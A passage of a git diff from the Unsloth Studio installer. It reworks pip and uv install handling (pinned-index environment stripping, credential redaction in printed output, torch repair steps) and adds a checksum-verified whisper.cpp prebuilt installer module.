-# https://pypi.org/project/llvmlite/0.47.0/#files -- only
-# macosx_arm64 / manylinux / win_amd64 remain), so on Intel Mac the
-# librosa -> numba -> llvmlite chain triggers a from-source build that fails
-# in CI and on hosts without LLVM 14/15 headers. Tracked in unslothai/unsloth#5046.
+# Packages to skip when torch is unavailable (Intel Mac GGUF-only mode). These
+# either *are* torch extensions or have unconditional ``Requires-Dist: torch``, so
+# installing them pulls torch back in. ``librosa`` is here despite not requiring
+# torch: upstream ``llvmlite`` dropped its macOS x86_64 wheel (0.46.0+ ships only
+# macosx_arm64 / manylinux / win_amd64), so on Intel Mac the librosa -> numba ->
+# llvmlite chain triggers a from-source build that fails without LLVM 14/15 headers.
+# Tracked in unslothai/unsloth#5046.
 NO_TORCH_SKIP_PACKAGES = {
     "torch-stoi",
     "timm",
@@ -1743,7 +2354,8 @@ def _build_flash_attn_wheel_url(env: dict[str, str]) -> str | None:
 def _print_optional_install_failure(label: str, result: subprocess.CompletedProcess[str]) -> None:
     _step("warning", f"{label} failed (exit code {result.returncode})", _cyan)
     if result.stdout:
-        print(result.stdout.strip())
+        # Redact any pinned --index-url credentials before printing captured output.
+        print(_redact_install_output(result.stdout).strip())
 
 
 def _flash_attn_install_disabled() -> bool:
@@ -1889,15 +2501,60 @@ def _build_uv_cmd(args: tuple[str, ...]) -> list[str]:
     # Colab and similar).
     cmd.extend(["--python", sys.executable])
     cmd.extend(_translate_pip_args_for_uv(args))
-    # Torch is pre-installed by install.sh/setup.ps1. Do not add
-    # --torch-backend by default -- it can cause solver dead-ends on CPU-only
-    # machines. Callers that need it can set UV_TORCH_BACKEND.
+    # Torch is pre-installed, so don't add --torch-backend by default (solver dead-ends on
+    # CPU-only machines); callers can set UV_TORCH_BACKEND. Never add it to a pinned-index
+    # command: uv's torch backend redirects torch to its own per-backend index, defeating the pin.
     _tb = os.environ.get("UV_TORCH_BACKEND", "")
-    if _tb:
+    if _tb and not _is_pinned_index_cmd(cmd):
         cmd.append(f"--torch-backend={_tb}")
     return cmd
 
 
+# uv resolves --index-url / --default-index at LOWEST priority, so an inherited UV_INDEX /
+# UV_EXTRA_INDEX_URL mirror wins and a pinned torch repair silently ignores the pin.
+# Neutralise these for pinned installs (as install.sh #6898 / install.ps1 / setup.ps1 do).
+# UV_TORCH_BACKEND redirects torch; PIP_* matter for the pip FALLBACK; UV_CONFIG_FILE is
+# stripped + UV_NO_CONFIG=1 (a discovered uv.toml outranks the CLI pin, uv 0.10).
+_UV_INDEX_ENV_VARS = (
+    "UV_CONFIG_FILE",
+    "UV_DEFAULT_INDEX",
+    "UV_INDEX_URL",
+    "UV_INDEX",
+    "UV_EXTRA_INDEX_URL",
+    "UV_TORCH_BACKEND",
+    "UV_FIND_LINKS",
+    "PIP_EXTRA_INDEX_URL",
+    "PIP_FIND_LINKS",
+    # PIP_NO_INDEX=1 makes the pip fallback ignore ALL indexes (defeating --index-url);
+    # PIP_INDEX_URL is dropped too so a stale mirror env can't outrank the pin.
+    "PIP_NO_INDEX",
+    "PIP_INDEX_URL",
+)
+
+
+def _is_pinned_index_cmd(cmd: "list[str] | tuple[str, ...]") -> bool:
+    """True when the command pins an index via --index-url / --default-index."""
+    return any(arg in ("--index-url", "--default-index") for arg in cmd)
+
+
+def _install_env_for_cmd(cmd: "list[str]") -> "dict[str, str] | None":
+    """Return an env with the uv index vars stripped for a pinned-index install.
+
+    None (inherit env) when the command does NOT pin an index, so ordinary installs honour
+    the user's mirror. For pinned commands, the uv index/backend vars are removed,
+    UV_NO_CONFIG=1 set (a discovered uv.toml outranks the CLI pin), and PIP_CONFIG_FILE
+    pointed at os.devnull for the pip fallback. Mirrors install.sh's gate (#6898).
+    """
+    if not _is_pinned_index_cmd(cmd):
+        return None
+    env = os.environ.copy()
+    for name in _UV_INDEX_ENV_VARS:
+        env.pop(name, None)
+    env["UV_NO_CONFIG"] = "1"
+    env["PIP_CONFIG_FILE"] = os.devnull
+    return env
+
+
 def pip_install_try(
     label: str,
     *args: str,
@@ -1924,11 +2581,13 @@ def pip_install_try(
         cmd,
         stdout = subprocess.PIPE,
         stderr = subprocess.STDOUT,
+        env = _install_env_for_cmd(cmd),
     )
     if result.returncode == 0:
         return True
     if VERBOSE and result.stdout:
-        print(result.stdout.decode(errors = "replace"))
+        # pip/uv echo index URLs (credentials included) in failure output.
+        print(_redact_install_output(result.stdout))
     return False
 
 
@@ -1976,13 +2635,14 @@ def pip_install(
                 uv_cmd,
                 stdout = subprocess.PIPE,
                 stderr = subprocess.STDOUT,
+                env = _install_env_for_cmd(uv_cmd),
                 **_windows_hidden_subprocess_kwargs(),
             )
             if result.returncode == 0:
                 return
             print(_red(f"   uv failed, falling back to pip..."))
             if result.stdout:
-                print(result.stdout.decode(errors = "replace"))
+                print(_redact_install_output(result.stdout))
 
         pip_cmd = _build_pip_cmd(args) + constraint_args_pip + req_args_pip
         run(f"{label} (pip)" if USE_UV else label, pip_cmd)
@@ -2030,10 +2690,9 @@ def install_python_stack() -> int:
     global USE_UV, _STEP, _TOTAL
     _STEP = 0
 
-    # install.sh (which already installed unsloth) sets SKIP_STUDIO_BASE=1 to
-    # avoid reinstalling base packages. "unsloth studio update" does NOT set it,
-    # so base packages (unsloth + unsloth-zoo) are reinstalled to pick up new
-    # versions.
+    # install.sh sets SKIP_STUDIO_BASE=1 to avoid reinstalling base packages;
+    # `studio update` does NOT, so unsloth + unsloth-zoo are reinstalled to pick
+    # up new versions.
     skip_base = os.environ.get("SKIP_STUDIO_BASE", "0") == "1"
     # --package installs a different package name (for testing).
     package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth")
@@ -2043,9 +2702,9 @@ def install_python_stack() -> int:
     if IS_MACOS:
         base_total -= 1  # triton step is skipped on macOS
     if not IS_MACOS and not NO_TORCH:
-        base_total += 1  # ROCm torch check (line 1526) -- all non-macOS platforms
+        base_total += 1  # ROCm torch check (step 2b), non-macOS
         if not IS_WINDOWS:
-            base_total += 2  # flash-attn (line 1620) + ROCm torch final (line 1705) -- Linux only
+            base_total += 2  # flash-attn + torch final repair (step 13), Linux
     _TOTAL = (base_total - 1) if skip_base else base_total
 
     # 1. Try uv for faster installs (before pip upgrade -- uv venvs don't
@@ -2092,6 +2751,8 @@ def install_python_stack() -> int:
 
     # macOS arm64: install MLX stack at latest (UV_OVERRIDE relaxes the
     # mlx-vlm / mlx-lm transformers pin -- set at module load).
+    # Exclude mlx-lm 0.31.3 (see MLX_LM_BAD_VERSION_EXCLUSION); it broke
+    # gemma4 / qwen3_5 QK-norm loading. mlx-lm #1242.
     if IS_MAC_ARM and not skip_base:
         _progress("MLX stack (Apple Silicon)")
         pip_install(
@@ -2100,7 +2761,7 @@ def install_python_stack() -> int:
             "--upgrade",
             "mlx",
             "mlx-metal",
-            "mlx-lm",
+            f"mlx-lm{MLX_LM_BAD_VERSION_EXCLUSION}",
             "mlx-vlm",
         )
 
@@ -2108,9 +2769,8 @@ def install_python_stack() -> int:
     if skip_base:
         pass
     elif NO_TORCH:
-        # No-torch update path: install unsloth + unsloth-zoo with --no-deps
-        # (PyPI metadata still declares torch as a hard dep), then runtime deps
-        # with --no-deps (avoids transitive torch).
+        # No-torch update path: install unsloth + unsloth-zoo, then runtime deps,
+        # both with --no-deps (PyPI metadata declares torch a hard dep; avoid it).
         _progress("base packages (no torch)")
         pip_install(
             f"Updating {package_name} + unsloth-zoo (no-torch mode)",
@@ -2123,10 +2783,9 @@ def install_python_stack() -> int:
             package_name,
             "unsloth-zoo",
         )
-        # Resolve pydantic WITH deps so pip pins pydantic-core to the exact
-        # version pydantic's metadata declares. Under --no-deps pip picks the
-        # latest of each and trips pydantic's _ensure_pydantic_core_version
-        # check. Transitive deps are torch-free.
+        # Resolve pydantic WITH deps so pip pins pydantic-core to the exact version
+        # its metadata declares (under --no-deps pip picks the latest of each and
+        # trips pydantic's _ensure_pydantic_core_version check). Deps are torch-free.
         pip_install(
             "Installing pydantic (with deps for compatible core)",
             "--no-cache-dir",
@@ -2218,6 +2877,7 @@ def install_python_stack() -> int:
         _progress(_torch_step_label("check"))
         _ensure_cuda_torch()
         _ensure_rocm_torch()
+        _ensure_cpu_torch()
 
     # Windows + AMD GPU: warn if ROCm torch was not installed (wrong Python
     # version or unknown ROCm version).
@@ -2283,16 +2943,15 @@ def install_python_stack() -> int:
         req = REQ_ROOT / "extras-no-deps.txt",
     )
 
-    # 4. Overrides (torchao) -- force-reinstall. The torchao version is chosen to
-    #    match the torch installed in the venv so its C++ extensions load (see
-    #    _select_torchao_spec). Skip when torch is unavailable (e.g. Intel Mac
-    #    GGUF-only mode): torchao requires torch. Also skipped on Windows ROCm
-    #    (no working build; see below).
+    # 4. Overrides (torchao) -- force-reinstall to a version matching the venv's
+    #    torch so its C++ extensions load (see _select_torchao_spec). Skipped when
+    #    torch is unavailable (Intel Mac GGUF-only) and on Windows ROCm (no working
+    #    build; see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
     elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm():
         # No working Windows ROCm torchao build: it imports an absent c10d backend
-        # and crashes transformers.quantizers. Studio stubs it at runtime, so
+        # and crashes transformers.quantizers. Unsloth stubs it at runtime, so
         # installing it only ships a package that crashes on import -- skip it.
         _progress("dependency overrides (skipped, Windows ROCm)")
         _safe_print("   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)")
@@ -2345,7 +3004,7 @@ def install_python_stack() -> int:
     #     "https://raw.githubusercontent.com/unslothai/unsloth/refs/heads/main/unsloth/save.py",
     # )
 
-    # 8. Studio dependencies
+    # 8. Unsloth dependencies
     _progress("studio deps")
     pip_install(
         "Installing studio dependencies",
@@ -2404,14 +3063,12 @@ def install_python_stack() -> int:
         [sys.executable, str(SINGLE_ENV / "patch_metadata.py")],
     )
 
-    # 13. AMD ROCm: final torch repair. Several steps above can pull in CUDA
-    #     torch from PyPI (base packages, extras, overrides, studio deps, etc.).
-    #     Running the repair last ensures ROCm torch is in place at runtime,
-    #     whichever intermediate step clobbered it.
+    # 13. Final torch repair. Steps above can pull CUDA torch from PyPI, so repair last.
     if not IS_WINDOWS and not IS_MACOS and not NO_TORCH:
         _progress(_torch_step_label("final"))
         _ensure_cuda_torch()
         _ensure_rocm_torch()
+        _ensure_cpu_torch()
 
     # 14. Final check (silent; third-party conflicts are expected)
     subprocess.run(
diff --git a/studio/install_whisper_prebuilt.py b/studio/install_whisper_prebuilt.py
new file mode 100644
index 0000000000..1c81ad6105
--- /dev/null
+++ b/studio/install_whisper_prebuilt.py
@@ -0,0 +1,1377 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Cross-platform whisper.cpp (whisper-server) prebuilt installer for Unsloth Studio.
+
+Downloads a per-platform whisper.cpp bundle published by the Unsloth fork
+(``unslothai/whisper.cpp``) into an isolated ``<UNSLOTH_HOME>/whisper.cpp``,
+never a system whisper.cpp. The canonical install target matches the
+sidecar/build-script contract in ``stt_ggml_sidecar.py``:
+
+    <install-dir>/build/bin/whisper-server              (Unix)
+    <install-dir>/build/bin/Release/whisper-server.exe  (Windows)
+
+Bundles are dynamically linked: ``whisper-server`` needs ``libwhisper``,
+``libggml*`` and any GPU backend libraries. The binaries carry ``RUNPATH=$ORIGIN``
+so the installer co-locates every shared library from the archive into the same
+``build/bin`` directory and marks the server executable on Unix.
+
+Archives are verified against the release's own ``whisper-prebuilt-sha256.json``
+checksum index (same model as ``install_llama_prebuilt.py``). An asset absent
+from the index, or a release without it, fails closed (setup reports the prebuilt
+unavailable and local dictation uses Transformers STT). Being a same-origin
+checksum it proves integrity, not authenticity; pair the release with GitHub
+artifact attestations for provenance.
+
+Release resolution prefers the download host (``github.com/<repo>/releases/...``),
+fetching the manifest + checksum index with zero ``api.github.com`` calls (that
+API is rate-limited to 60 req/hour unauthenticated); the GitHub API is only a
+fallback on a 404 / malformed asset.
+
+The whole component-agnostic flow (verified downloads, safe extraction, the
+install lock, release resolution, checksum-index handling, the install driver,
+the resolve probe) lives in ``prebuilt_core.py`` and is shared with
+``install_llama_prebuilt.py``. This module keeps only the whisper specifics: the
+host mapping, install-tree layout, slim pairing with the installed llama.cpp ggml
+runtime, the pinned-release CPU escape hatch, the marker filename, and the CLI.
+Every retained public name is a thin wrapper tests can monkeypatch so the core
+observes the patch.
+
+Selection is slim-only for current releases (v1.9.1-unsloth.2+): every published
+bundle is a slim (ggml-less) whisper paired to the llama.cpp prebuilt, which
+provides all ggml backends. The per-accelerator fat selection chain was deleted
+with the fat bundles; the one legacy shape still honored is the published fat CPU
+bundle of an explicitly pinned pre-slim release.
+
+Mirrors ``install_node_prebuilt.py`` / ``install_llama_prebuilt.py``. Exit codes:
+0 success (or already current), 1 error, 2 incompatible paired release, 3 busy. A re-run
+that already matches logs "already matches" and returns 0 without downloading
+(the scripts grep it).
+"""
+
+from __future__ import annotations
+
+import argparse
+import os
+import re
+import shutil
+import subprocess
+import sys
+from dataclasses import dataclass, replace
+from pathlib import Path
+from typing import Any
+
+# Put studio/ on sys.path so install_llama_prebuilt / prebuilt_core resolve
+# whether run as a script (from any cwd) or imported by the tests.
+_STUDIO_DIR = os.path.dirname(os.path.abspath(__file__))
+if _STUDIO_DIR not in sys.path:
+    sys.path.insert(0, _STUDIO_DIR)
+
+import install_llama_prebuilt as llama  # noqa: E402
+import prebuilt_core as core  # noqa: E402
+
+# Shared machinery re-exported as module globals; the wrappers below resolve
+# these by bare name at call time so tests can monkeypatch them here.
+PrebuiltFallback = core.PrebuiltFallback
+BusyInstallConflict = core.BusyInstallConflict
+auth_headers = llama.auth_headers
+download_bytes = llama.download_bytes
+download_file = llama.download_file
+fetch_json = llama.fetch_json
+sha256_file = core.sha256_file
+_URL_OPENER = core._URL_OPENER
+install_lock = core.install_lock
+install_lock_path = core.install_lock_path
+parse_macos_version = core.parse_macos_version
+release_asset_map = core.release_asset_map
+release_asset_download_url = core.release_asset_download_url
+compute_install_fingerprint = core.compute_install_fingerprint
+artifact_coverage = core.artifact_coverage
+emit_resolver_output = core.emit_resolver_output
+_valid_sha256 = core.valid_sha256
+_swap_into_place = core.swap_into_place
+InstallSelection = core.InstallSelection
+ReleaseBundle = core.ReleaseBundle
+llama_detect_host = llama.detect_host
+installed_llama_runtime = llama.installed_llama_runtime
+
+# Late-binding seam for prebuilt_core: name lookups hit this module's globals
+# first (so monkeypatches apply), then the core defaults.
+_OPS = core.ModuleOps(globals())
+
+
+# Resolver mode keeps stdout to the JSON payload only (setup.sh parses it);
+# main() flips this on for the install path so setup surfaces progress.
+_LOG_TO_STDOUT = False
+
+
+class ReleaseCompatibilityError(PrebuiltFallback):
+    """A valid slim release cannot pair with this host's installed runtime."""
+
+
+def log(message: str) -> None:
+    print(f"[whisper-prebuilt] {message}", file = sys.stdout if _LOG_TO_STDOUT else sys.stderr)
+
+
+EXIT_SUCCESS = 0
+EXIT_ERROR = 1
+EXIT_INCOMPATIBLE = 2
+EXIT_BUSY = 3
+
+COMPONENT = "whisper.cpp"
+SCHEMA_VERSION = 1
+USER_AGENT = "unsloth-studio-whisper-prebuilt"
+
+DEFAULT_PUBLISHED_REPO = "unslothai/whisper.cpp"
+# Release assets published by the fork's prebuilt CI.
+MANIFEST_ASSET_NAME = "whisper-prebuilt-manifest.json"
+SHA256_ASSET_NAME = "whisper-prebuilt-sha256.json"
+
+METADATA_FILENAME = "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+
+# Backends the installer can select: accelerator identities for the slim pairing
+# (which llama ggml module must exist) and the marker. Only "cpu" can match a fat
+# artifact (the pinned pre-slim escape hatch).
+SUPPORTED_BACKENDS = ("cpu", "cuda", "metal", "vulkan", "rocm")
+
+# Fallback the core applies on a GPU-selection miss: retry with cpu so the slim
+# bundle can pair via the llama cpu modules, or -- on a pinned pre-slim release --
+# the published fat CPU bundle installs. A miss is an install error unless the
+# valid slim release specifically requires a different paired llama release.
+FALLBACK_BACKEND = "cpu"
+
+# Backends whose slim (ggml-less) whisper bundle can ride the installed llama.cpp
+# prebuilt's ggml runtime. All are eligible: the next whisper release ships only
+# slim bundles, so cpu and metal pair like the GPUs do.
+SLIM_ELIGIBLE_BACKENDS = ("cpu", "cuda", "metal", "rocm", "vulkan")
+
+# ggml backend module the llama bin dir must provide per accelerator, keyed by
+# asset os token, following llama's bundle layout / health globs. A backend with
+# no glob for the host os (metal off macOS) is never slim there. llama's x64 cpu
+# bundles ship per-arch libggml-cpu-<variant> modules, macOS a single
+# libggml-cpu; the cpu globs cover both.
+SLIM_BACKEND_MODULE_GLOBS = {
+    "cpu": {
+        "linux": "libggml-cpu*.so*",
+        "windows": "ggml-cpu*.dll",
+        "macos": "libggml-cpu*.dylib",
+    },
+    "cuda": {"linux": "libggml-cuda.so*", "windows": "ggml-cuda.dll"},
+    "metal": {"macos": "libggml-metal*.dylib"},
+    "rocm": {"linux": "libggml-hip.so*", "windows": "*hip*.dll"},
+    "vulkan": {"linux": "libggml-vulkan.so*", "windows": "ggml-vulkan.dll"},
+}
+
+# Everything the slim wiring mirrors from the llama bin dir: the core ggml
+# sonames plus every dlopen'd backend module (CPU variants included). libggml*
+# matches .so and .dylib alike; ggml*.dll covers Windows. libomp*.dll rides along
+# because llama's clang-built windows-arm64 ggml-base.dll imports
+# libomp140.aarch64.dll, shipped in the llama bundle but never a system DLL, so
+# the loader needs it next to whisper-server.exe (MSVC x64 uses System32
+# vcomp140.dll; Linux ggml needs system libgomp.so.1, which llama already requires).
+SLIM_GGML_LIBRARY_GLOBS = ("libggml*", "ggml*.dll", "libomp*.dll")
+SLIM_ROCM_LIBRARY_GLOBS = (
+    "libamd*.so*",
+    "libhip*.so*",
+    "libhsa*.so*",
+    "libroc*.so*",
+)
+SLIM_ROCM_RUNTIME_DIRS = ("hipblaslt", "rocblas")
+SLIM_RUNTIME_WIRING_VERSION = 2
+
+INSTALL_STAGING_ROOT_NAME = ".staging"
+
+# Master switch for the staged runtime smoke test (start whisper-server + a tiny
+# transcription) before the atomic activate. Off by default so a bundle whose GPU
+# forward pass JIT-compiles kernels does not stall every install; the check and
+# its CPU-asset retry stay intact -- set True to re-enable.
+_RUN_STAGED_PREBUILT_VALIDATION = False
+
+
+# ── Host detection (probes shared with install_llama_prebuilt) ──
+@dataclass(frozen = True)
+class HostInfo:
+    system: str  # platform.system()
+    machine: str  # lowered platform.machine()
+    whisper_os: str  # asset token: linux | macos | windows
+    whisper_arch: str  # asset token: x64 | arm64
+    archive_ext: str  # .tar.gz | .zip
+    is_windows: bool
+    is_macos: bool
+    is_apple_silicon: bool
+    has_usable_nvidia: bool = False
+    has_rocm: bool = False
+    rocm_gfx: str | None = None
+    # (major, minor) from platform.mac_ver(); None off macOS or if unparseable.
+    # Enforces a macOS artifact's min_os so we never pick a bundle that cannot
+    # load on this OS version.
+    macos_version: tuple[int, int] | None = None
+
+
+def host_from_llama(base: Any) -> HostInfo:
+    """Map install_llama_prebuilt's detected host onto the whisper asset tokens.
+    Raises PrebuiltFallback on an unsupported OS/arch."""
+    system = base.system
+    machine = base.machine.lower()
+    if system == "Linux":
+        whisper_os = "linux"
+    elif system == "Darwin":
+        whisper_os = "macos"
+    elif system == "Windows":
+        whisper_os = "windows"
+    else:
+        raise PrebuiltFallback(f"unsupported operating system for whisper.cpp prebuilt: {system}")
+
+    if machine in {"x86_64", "amd64", "x64"}:
+        whisper_arch = "x64"
+    elif machine in {"arm64", "aarch64"}:
+        whisper_arch = "arm64"
+    else:
+        raise PrebuiltFallback(f"unsupported CPU architecture for whisper.cpp prebuilt: {machine}")
+
+    return HostInfo(
+        system = system,
+        machine = machine,
+        whisper_os = whisper_os,
+        whisper_arch = whisper_arch,
+        archive_ext = ".zip" if base.is_windows else ".tar.gz",
+        is_windows = base.is_windows,
+        is_macos = base.is_macos,
+        is_apple_silicon = base.is_macos and whisper_arch == "arm64",
+        has_usable_nvidia = base.has_usable_nvidia,
+        has_rocm = base.has_rocm,
+        rocm_gfx = base.rocm_gfx_target,
+        macos_version = base.macos_version,
+    )
+
+
+def detect_host() -> HostInfo:
+    return host_from_llama(llama_detect_host())
+
+
+def apply_host_overrides(
+    host: HostInfo,
+    *,
+    has_rocm: bool = False,
+    rocm_gfx: str | None = None,
+    force_cpu: bool = False,
+) -> HostInfo:
+    """Apply CLI overrides (setup forwards hardware hints) onto a detected host."""
+    if force_cpu:
+        return replace(
+            host,
+            has_usable_nvidia = False,
+            has_rocm = False,
+            rocm_gfx = None,
+            is_apple_silicon = False,
+        )
+    updates: dict[str, Any] = {}
+    if has_rocm or rocm_gfx:
+        # --rocm-gfx implies --has-rocm (llama parity); otherwise the host stays on
+        # its CUDA/CPU path and never picks the ROCm bundle. Drop CUDA detection too.
+        updates["has_rocm"] = True
+        updates["has_usable_nvidia"] = False
+    if rocm_gfx:
+        updates["rocm_gfx"] = rocm_gfx
+    return replace(host, **updates) if updates else host
+
+
+def host_platform_tokens(host: HostInfo) -> tuple[str, str]:
+    """Canonical (os, arch) asset tokens the core uses for matching/reporting."""
+    return host.whisper_os, host.whisper_arch
+
+
+# ── Backend selection ──
+def auto_detect_backend(host: HostInfo) -> str:
+    return core.auto_detect_backend(_OPS, host)
+
+
+def resolve_backend(host: HostInfo, requested: str | None, *, cpu_fallback: bool) -> str:
+    return core.resolve_backend(_OPS, host, requested, cpu_fallback = cpu_fallback)
+
+
+# ── Asset naming (pure, unit tested) ──
+def whisper_asset_name(release_tag: str, host: HostInfo, accel: str) -> str:
+    """e.g. whisper-v1.9.1-unsloth.1-linux-x64-cpu.tar.gz.
+
+    `accel` is the asset-filename accelerator token (cpu, metal, cuda12, ...),
+    finer-grained than the coarse backend. An install's authoritative asset name
+    comes from the release manifest; this constructor is for defaults/diagnostics.
+    """
+    tag = release_tag if release_tag.startswith("v") else f"v{release_tag}"
+    return f"whisper-{tag}-{host.whisper_os}-{host.whisper_arch}-{accel}{host.archive_ext}"
+
+
+# ── Manifest (release-side artifact catalogue; generic parser in the core) ──
+def validate_schema_version(payload: dict[str, Any], *, label: str) -> None:
+    core.validate_schema_version(
+        payload, label = label, schema_version = SCHEMA_VERSION, error = PrebuiltFallback
+    )
+
+
+def parse_manifest(payload: Any, *, label: str = MANIFEST_ASSET_NAME) -> dict[str, Any]:
+    return core.parse_manifest(_OPS, payload, label = label)
+
+
+def _macos_min_os_ok(host: HostInfo, min_os: Any) -> bool:
+    return core.macos_min_os_ok(_OPS, host, min_os)
+
+
+def macos_min_os_ok(host: HostInfo, min_os: Any) -> bool:
+    return _macos_min_os_ok(host, min_os)
+
+
+def _artifacts_for_host(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> list[dict[str, Any]]:
+    return core.artifacts_for_host(_OPS, manifest, host, backend)
+
+
+def artifacts_for_host(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> list[dict[str, Any]]:
+    return _artifacts_for_host(manifest, host, backend)
+
+
+# ── Slim selection (paired with the installed llama.cpp ggml runtime) ──
+def slim_pairing_for_artifact(
+    artifact: dict[str, Any], host: HostInfo, backend: str
+) -> tuple[Path, str] | None:
+    """(llama bin dir, llama release tag) when the installed llama runtime can
+    back this slim artifact, else None. Each failed gate logs why; the caller
+    then retries via CPU or reports the prebuilt unavailable."""
+    asset = artifact.get("asset")
+    runtime = installed_llama_runtime()
+    if runtime is None:
+        log(f"slim_selection: {asset} skipped: no managed llama.cpp prebuilt install")
+        return None
+    llama_bin_dir, llama_tag, _profile = runtime
+    requires_tag = artifact.get("requires_llama_tag")
+    if not isinstance(requires_tag, str) or requires_tag != llama_tag:
+        log(
+            f"slim_selection: {asset} skipped: installed llama tag {llama_tag!r} "
+            f"!= required {requires_tag!r}"
+        )
+        return None
+    sonames = artifact.get("requires_ggml_sonames")
+    if not isinstance(sonames, list) or not sonames:
+        log(f"slim_selection: {asset} skipped: manifest lists no requires_ggml_sonames")
+        return None
+    missing = [str(name) for name in sonames if not (llama_bin_dir / str(name)).is_file()]
+    if missing:
+        log(f"slim_selection: {asset} skipped: llama runtime missing {', '.join(missing)}")
+        return None
+    module_glob = SLIM_BACKEND_MODULE_GLOBS.get(backend, {}).get(host.whisper_os)
+    if module_glob is None:
+        log(f"slim_selection: {asset} skipped: no {backend} ggml module on {host.whisper_os}")
+        return None
+    if not any(path.is_file() for path in llama_bin_dir.glob(module_glob)):
+        log(f"slim_selection: {asset} skipped: llama runtime has no {module_glob} module")
+        return None
+    log(f"slim_selection: selected {asset} paired with llama {llama_tag} at {llama_bin_dir}")
+    return llama_bin_dir, llama_tag
+
+
+def select_slim_artifact(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> dict[str, Any] | None:
+    """The paired slim artifact for any backend (cpu and metal included), or None.
+    Slim assets carry backend "slim" so the CPU escape hatch's fat os/arch/backend
+    matching never sees them. When the release ships slim candidates but none
+    pair, log the actionable reason: on a slim-only release nothing else selects,
+    setup reports the prebuilt unavailable, and local dictation stays on
+    Transformers STT."""
+    if backend not in SLIM_ELIGIBLE_BACKENDS:
+        return None
+    os_token, arch_token = host_platform_tokens(host)
+    candidates = [
+        artifact
+        for artifact in manifest.get("artifacts", [])
+        if artifact.get("os") == os_token
+        and artifact.get("arch") == arch_token
+        and artifact.get("backend") == "slim"
+        and artifact.get("install_kind") == "slim"
+        and (not host.is_macos or _macos_min_os_ok(host, artifact.get("min_os")))
+    ]
+    for artifact in candidates:
+        if slim_pairing_for_artifact(artifact, host, backend) is not None:
+            return artifact
+    if candidates:
+        required_tag = candidates[0].get("requires_llama_tag")
+        log(f"slim bundle requires llama.cpp {required_tag}; install or update llama.cpp first")
+    return None
+
+
+def select_artifact(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> dict[str, Any] | None:
+    """Slim-only: every backend resolves to the paired slim artifact. The one
+    legacy shape still honored is the published fat CPU bundle of a pinned pre-slim
+    release, reached by a GPU-backend miss through the core's CPU fallback retry.
+    No other fat artifact is ever selected."""
+    slim = select_slim_artifact(manifest, host, backend)
+    if slim is not None:
+        return slim
+    if backend != "cpu":
+        return None
+    candidates = _artifacts_for_host(manifest, host, "cpu")
+    return candidates[0] if candidates else None
+
+
+def select_artifact_with_cpu_fallback(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> tuple[dict[str, Any], str, bool]:
+    try:
+        return core.select_artifact_with_fallback(_OPS, manifest, host, backend)
+    except PrebuiltFallback as exc:
+        reason = _slim_release_incompatibility(manifest, host)
+        if reason is not None:
+            raise ReleaseCompatibilityError(reason) from exc
+        raise
+
+
+def _slim_release_incompatibility(manifest: dict[str, Any], host: HostInfo) -> str | None:
+    """Explain a valid platform slim release that this runtime cannot pair.
+
+    This intentionally excludes missing files, malformed manifests, checksum
+    failures, and unsupported platforms. Those are operational errors and must
+    never be converted into the update path's kept-existing-runtime success.
+    """
+    os_token, arch_token = host_platform_tokens(host)
+    candidates = [
+        artifact
+        for artifact in manifest.get("artifacts", [])
+        if artifact.get("os") == os_token
+        and artifact.get("arch") == arch_token
+        and artifact.get("backend") == "slim"
+        and artifact.get("install_kind") == "slim"
+    ]
+    if not candidates:
+        return None
+    os_compatible = [
+        artifact
+        for artifact in candidates
+        if not host.is_macos or _macos_min_os_ok(host, artifact.get("min_os"))
+    ]
+    if not os_compatible:
+        required = candidates[0].get("min_os")
+        return f"slim bundle requires macOS {required}; this host is older"
+    runtime = installed_llama_runtime()
+    if runtime is None:
+        return None
+    installed_tag = runtime[1]
+    required_tags = {
+        artifact.get("requires_llama_tag")
+        for artifact in os_compatible
+        if isinstance(artifact.get("requires_llama_tag"), str)
+    }
+    if required_tags and installed_tag not in required_tags:
+        required_tag = sorted(required_tags)[0]
+        return (
+            f"slim bundle requires llama.cpp {required_tag}; "
+            f"installed llama.cpp is {installed_tag}"
+        )
+    return None
+
+
+def select_artifact_with_fallback(
+    manifest: dict[str, Any], host: HostInfo, backend: str
+) -> tuple[dict[str, Any], str, bool]:
+    return select_artifact_with_cpu_fallback(manifest, host, backend)
+
+
+# ── Release checksum index (trust anchor: the release's own sha256 asset) ──
+def parse_release_checksums(repo: str, release_tag: str, payload: Any) -> dict[str, str]:
+    return core.parse_release_checksums(_OPS, repo, release_tag, payload)
+
+
+def fetch_release_checksums(bundle: ReleaseBundle) -> dict[str, str]:
+    return core.fetch_release_checksums(_OPS, bundle)
+
+
+def expected_sha256_for(
+    checksums: dict[str, str],
+    asset_name: str,
+    *,
+    manifest_sha256: str | None = None,
+) -> str:
+    return core.expected_sha256_for(_OPS, checksums, asset_name, manifest_sha256 = manifest_sha256)
+
+
+# ── Verified download (retries once on checksum mismatch) ──
+def download_file_verified(
+    url: str, destination: Path, *, expected_sha256: str, label: str
+) -> None:
+    core.download_file_verified_strict(
+        _OPS, url, destination, expected_sha256 = expected_sha256, label = label
+    )
+
+
+# ── GitHub release resolution ──
+def github_release(repo: str, tag: str) -> dict[str, Any]:
+    return core.github_release(_OPS, repo, tag, error = PrebuiltFallback)
+
+
+def fetch_release_bundle(repo: str, release_tag: str) -> ReleaseBundle:
+    return core.fetch_release_bundle(_OPS, repo, release_tag)
+
+
+def asset_download_url(bundle: ReleaseBundle, asset_name: str) -> str:
+    return core.asset_download_url(_OPS, bundle, asset_name)
+
+
+# ── Download-host fast path (resolve + fetch the JSON assets with no GitHub API) ──
+def _download_host_latest_release_tag(repo: str) -> str | None:
+    return core.download_host_latest_release_tag(_OPS, repo)
+
+
+def _download_host_json(url: str) -> Any:
+    return core.fetch_download_host_json(_OPS, url)
+
+
+def _resolve_release_via_download_host(
+    repo: str, published_release_tag: str | None
